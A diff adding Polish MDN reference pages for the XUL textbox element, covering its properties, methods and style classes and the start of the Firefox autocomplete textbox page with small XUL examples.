+ <dt>
+ <a href="pl/XUL/Atrybut/textbox.value">value</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Wartość domyślna wpisywana w pole tekstowe. Atrybut tylko podtrzymuje domyślną wartość i nie zostanie ona nigdy zmodyfikowana, kiedy użytkownik wpisze tekst. Aby pobrać zaktualizowaną wartość, zastosuj własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code>.</dd>
+</dl>
+
+<p> </p>
+</div> <div id="a-wrap">
+
+<dl><dt> <code id="a-wrap"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wrap">wrap</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Ustawia wartość atrybutu na <code>off</code>, aby wyłączyć zawijanie linii w polu tekstowym. Jeśli atrybut nie jest podany, zawijanie linii jest włączone.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-wraparound">
+
+</div><p></p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<p> </p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div> <div id="p-clickSelectsAll">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/clickSelectsAll">clickSelectsAll</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawiony na <code>true</code> zawartość pola tekstowego zostanie zaznaczona kiedy stanie się on aktywny, inaczej kursor pozostanie niezmieniony.
+</dd></dl>
+<p><br>
+</p>
+
+</div> <div id="p-decimalPlaces">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/decimalPlaces">decimalPlaces</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>decimalplaces</code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div> <div id="p-decimalSymbol"></div> <div id="p-defaultValue">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/defaultValue">defaultValue</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia domyślną wartość pola tekstowego. </dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+</div> <div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div> <div id="p-editor">
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menulist.editor">editor</a></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIEditor">nsIEditor</a></i>
+ </dd>
+ <dd>
+ Odwołanie do <a href="pl/NsIEditor">nsIEditor</a> dla edytowanego tekstu. Własność tylko do odczytu.</dd>
+</dl></div> <div id="p-increment">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/increment">increment</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>.</dd>
+</dl></div> <div id="p-inputField">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/inputField">inputField</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element textbox</i>
+ </dd>
+ <dd>
+ W Mozilli, pole tekstowe w języku XUL jest zaimplementowane jako otoczenie wokół elementów kontrolek formularza (input) języka HTML. Ta własność tylko do odczytu podtrzymuje odniesienie do wewnętrznego elementu input.</dd>
+</dl></div> <div id="p-max">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/max">max</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>max</code>. </dd></dl>
+
+</div> <div id="p-maxLength">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/maxLength">maxLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków w polu tekstowym, jaką można wpisać.</dd>
+</dl></div> <div id="p-min">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/min">min</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>min</code>. </dd></dl>
+
+</div> <div id="p-readOnly">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli jest ustawiony na <code>true</code>, to użytkownik nie może zmieniać wartości elementu. Jest to odpowiednia własności do użytku <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> zamiast własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code>.</dd>
+</dl></div> <div id="p-selectionEnd">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionEnd">selectionEnd</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia koniec zaznaczonej części pola tekstu. Stosujemy ze sprzężeniem z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code>. Wartość określa indeks znaku za zaznaczeniem. Jeśli ta wartość jest równa sumie wartości własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code>, to żaden tekst nie jest zaznaczony, lecz wartość sygnalizuje pozycję wstawki (kursora) wewnątrz pola tekstowego.</dd>
+</dl></div> <div id="p-selectionStart">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia początek zaznaczonej części pola tekstu. Stosujemy w sprzężeniu z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionEnd">selectionEnd</a></span></code>. Wartość określa indeks pierwszego zaznaczonego znaku.</dd>
+</dl></div> <div id="p-size">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/size">size</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code>.</dd>
+</dl></div> <div id="p-spinButtons"></div> <div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div> <div id="p-textLength">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/textLength">textLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Podtrzymuje długość wprowadzanego tekstu w polu tekstowym. Ta własność jest tylko do odczytu.</dd>
+</dl></div> <div id="p-timeout">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/timeout">timeout</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code>.</dd>
+</dl></div> <div id="p-type">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+
+<p> </p></div> <div id="p-textbox.value"></div> <div id="p-valueNumber"></div> <div id="p-wrapAround">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/wrapAround">wrapAround</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu wraparound.
+</dd></dl>
+<p><br>
+</p>
+
+</div><p></p>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<p></p><dl><dt> <span id="m-decrease"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/decrease">decrease()</a></code></span></dt>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wartość zmniejszająca się skali poprzez przyrost.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p> <dl>
+ <dt>
+ <span id="m-increase"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/increase">increase()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wartość wzrastająca na <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code> poprzez przyrost.</dd>
+</dl> <dl>
+ <dt>
+ <span id="m-reset"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reset">reset()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przywraca preferencje do domyślnej wartości.</dd>
+ <dd>
+ Dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> jest także wykorzystane do czyszczenia list transakcji (Gecko1.9).</dd>
+</dl> <dl>
+ <dt>
+ <span id="m-select"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/select">select()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza cały tekst w polu tekstowym.</dd>
+</dl> <dl><dt> <span id="m-setSelectionRange"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/setSelectionRange">setSelectionRange( start, end )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ustawia zaznaczoną porcję pola tekstowego, gdzie argumentem początkowym <var>start</var> jest pierwszy zaznaczony znak i argument końcowym <var>end</var> jest indeks znaku po zaznaczeniu. Ustawiając oba argumenty na tę samą wartość, pozwoli nam na przesunięcie kursora do przesłanej pozycji bez zaznaczenia tekstu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p> <table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w">Klasy stylów</h3>
+
+<p>Następujące klasy możemy zastosować do nadania stylu temu elementowi. Należy korzystać z tych klas zamiast nadawać styl bezpośrednio w danym elemencie - dzięki temu będą bardziej pasować do motywu wybranego przez użytkownika.</p>
+
+<p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/plain">plain</a></code></dt>
+ <dd>
+ Ta klasa sprawia, że element będzie wyświetlony bez obramowania lub marginesu.</dd>
+</dl><p></p>
+
+<h3 id="Podobne" name="Podobne">Podobne</h3>
+
+<dl>
+ <dt>Interfejsy</dt>
+ <dd><a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULTextboxElement">nsIDOMXULTextboxElement</a></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/textbox_(firefox_-_automatyczne_uzupełnianie)/index.html b/files/pl/mozilla/tech/xul/textbox_(firefox_-_automatyczne_uzupełnianie)/index.html
new file mode 100644
index 0000000000..375618190f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/textbox_(firefox_-_automatyczne_uzupełnianie)/index.html
@@ -0,0 +1,866 @@
+---
+title: textbox (Firefox - automatyczne uzupełnianie)
+slug: Mozilla/Tech/XUL/textbox_(Firefox_-_automatyczne_uzupełnianie)
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/Textbox_(Toolkit_autocomplete)
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest tworzony poprzez ustawienie atrybutu <a href="pl/XUL/Atrybut/textbox.type">type</a> elementu textbox na <code>autocomplete</code>. Jest używany do utworzenia elementu textbox z wyskakującym okienkiem zawierającym listę możliwych uzupełnień tego, co użytkownik zaczął wpisywać.
+</p><p>Firefox używa innego mechanizmu automatycznego uzupełnienia niż przeglądarka <a href="pl/XUL/textbox_(Mozilla_-_automatyczne_uzupe%c5%82nianie)">Mozilla Suite</a>. Przykład poniżej stworzy textbox z auto uzupełnianiem, który będzie przeszukiwał historię użytkownika.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-autocompletepopup">autocompletepopup</a>, <a href="#a-autocompletesearch">autocompletesearch</a>, <a href="#a-autocompletesearchparam">autocompletesearchparam</a>, <a href="#a-completedefaultindex">completedefaultindex</a>, <a href="#a-crop">crop</a>, <a href="#a-disableautocomplete">disableautocomplete</a>, <a href="#a-disabled">disabled</a>, <a href="#a-disablekeynavigation">disablekeynavigation</a>, <a href="#a-enablehistory">enablehistory</a>, <a href="#a-focused">focused</a>, <a href="#a-forcecomplete">forcecomplete</a>, <a href="#a-ignoreblurwhilesearching">ignoreblurwhilesearching</a>, <a href="#a-inputtooltiptext">inputtooltiptext</a>, <a href="#a-label">label</a>, <a href="#a-maxlength">maxlength</a>, <a href="#a-maxrows">maxrows</a>, <a href="#a-minresultsforpopup">minresultsforpopup</a>, <a href="#a-nomatch">nomatch</a>, <a href="#a-onchange">onchange</a>, <a href="#a-oninput">oninput</a>, <a href="#a-onsearchcomplete">onsearchcomplete</a>, <a href="#a-ontextentered">ontextentered</a>, <a href="#a-ontextreverted">ontextreverted</a>, <a href="#a-open">open</a>, <a href="#a-readonly">readonly</a>, <a href="#a-showcommentcolumn">showcommentcolumn</a>, <a href="#a-size">size</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-tabscrolling">tabscrolling</a>, <a href="#a-timeout">timeout</a>, <a href="#a-textbox.type">type</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-completeDefaultIndex">completeDefaultIndex</a>, <a href="#p-controller">controller</a>, <a href="#p-crop">crop</a>, <a href="#p-disableAutoComplete">disableAutoComplete</a>, <a href="#p-disableKeyNavigation">disableKeyNavigation</a>, <a href="#p-disabled">disabled</a>, <a href="#p-editable">editable</a>, <a href="#p-focused">focused</a>, <a href="#p-forceComplete">forceComplete</a>, <a href="#p-ignoreBlurWhileSearching">ignoreBlurWhileSearching</a>, <a href="#p-inputField">inputField</a>, <a href="#p-label">label</a>, <a href="#p-maxLength">maxLength</a>, <a href="#p-maxRows">maxRows</a>, <a href="#p-minResultsForPopup">minResultsForPopup</a>, <a href="#p-open">open</a>, <a href="#p-popup">popup</a>, <a href="#p-popupOpen">popupOpen</a>, <a href="#p-searchCount">searchCount</a>, <a href="#p-searchParam">searchParam</a>, <a href="#p-selectionEnd">selectionEnd</a>, <a href="#p-selectionStart">selectionStart</a>, <a href="#p-showCommentColumn">showCommentColumn</a>, <a href="#p-size">size</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-tabScrolling">tabScrolling</a>, <a href="#p-textLength">textLength</a>, <a href="#p-textValue">textValue</a>, <a href="#p-timeout">timeout</a>, <a href="#p-textbox.type">textbox.type</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-getSearchAt">getSearchAt</a>, <a href="#m-onSearchComplete">onSearchComplete</a>, <a href="#m-onTextEntered">onTextEntered</a>, <a href="#m-onTextReverted">onTextReverted</a>, <a href="#m-select">select</a>, <a href="#m-setSelectionRange">setSelectionRange</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre class="eval">&lt;textbox type="autocomplete" autocompletesearch="history"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-autocompletepopup">
+
+<dl><dt> <code id="a-autocompletepopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletepopup">autocompletepopup</a></code>
+</dt><dd> Typ: <i>id elementu wyskakującego (popup)</i>
+</dd><dd> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code> wykorzystywanego do przechowywania wyników automatycznego uzupełniania dla tego elementu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-autocompletesearch">
+
+<dl><dt> <code id="a-autocompletesearch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearch">autocompletesearch</a></code>
+</dt><dd> Typ: <i>lista wartości oddzielonych spacją</i>
+</dd><dd> Lista szukanych nazw komponentów oddzielona spacją, który każdy implementuje interfejs <a href="pl/NsIAutoCompleteSearch">nsIAutoCompleteSearch</a>. Komponenty są tworzone za pomocą nazwy <code>@mozilla.org/autocomplete/search;1?name=</code>, gdzie: <var>name</var> jest listą w tym atrybucie.
+</dd></dl>
+<ul><li> <code>history</code>: Przeszukuje hostorię adresów URL przeglądarki,
+</li><li> <code>form-history</code>: Przeszukuje wartości, które użytkownik wpisał w pola formularza.
+</li></ul>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-autocompletesearchparam">
+<div><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt>
+ <code id="a-autocompletesearchparam"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearchparam">autocompletesearchparam</a></code> <span class="inlineIndicator standardNote">Nowość w <a href="https://developer.mozilla.org/pl/docs/Mozilla/Thunderbird/Releases/2">Thunderbird 2</a></span> <span class="inlineIndicator standardNote standardNoteInline">Requires SeaMonkey 1.1</span></dt>
+ <dd>
+ Typ: <i>string</i></dd>
+ <dd>
+ Łańcuch znaków, który jest komponentem poszukiwania.</dd>
+</dl>
+</div>
+<div id="a-completedefaultindex">
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disableautocomplete">
+
+<dl><dt> <code id="a-disableAutocomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableAutocomplete">disableAutocomplete</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, zachowanie automatyczne zostanie wyłączone. Możesz użyć skryptu do zmiany do zmiany tego atrybutu. Jeśli <code>false</code>, domyślnie, autouzupełnianie jest włączone.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-disablekeynavigation">
+
+<dl><dt> <code id="a-disablekeynavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablekeynavigation">disablekeynavigation</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli atrybut ten nie jest użyty, użytkownik może przechodzić do określonych pozycji listy poprzez naciśnięcie pierwszej litery etykiety danej pozycji. Odbywa się to przyrostowo, dlatego przyciśnięcie dodatkowych klawiszy spowoduje zaznaczenie lepiej określonych pozycji. Opcja ta może zostać wyłączona poprzez ustawienie wartości atrybutu jako <code>true</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-enablehistory">
+
+<dl><dt> <code id="a-enablehistory"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/enablehistory">enablehistory</a></code>
